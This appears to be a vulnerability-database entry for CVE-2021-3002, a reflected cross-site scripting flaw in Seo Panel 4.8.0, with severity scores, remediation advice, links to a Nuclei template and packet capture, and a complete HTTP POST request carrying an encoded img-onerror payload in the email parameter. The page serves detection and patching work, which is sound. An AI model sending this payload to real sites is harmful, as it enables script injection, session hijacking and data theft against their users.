🔙 목록으로 돌아가기

CVE-2021-3002: Seo Panel 4.8.0 - Cross-Site Scripting

TitleSeo Panel 4.8.0 - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to a patched version of Seo Panel or apply the necessary security patches provided by the vendor.
CVSS Score6.1
EPSS Score0.30353
CVE IDCVE-2021-3002
CWE IDCWE-79
Tags cve2021 cve seopanel xss vuln

🔍 Vulnerability Description

Seo Panel 4.8.0 contains a reflected cross-site scripting vulnerability via the seo/seopanel/login.php?sec=forgot email parameter.

🌐 HTTP Request

POST /seo/seopanel/login.php?sec=forgot HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

sec=requestpass&email=test%40test.com%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3e11&code=AAAAA&login=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3002.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-3002.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A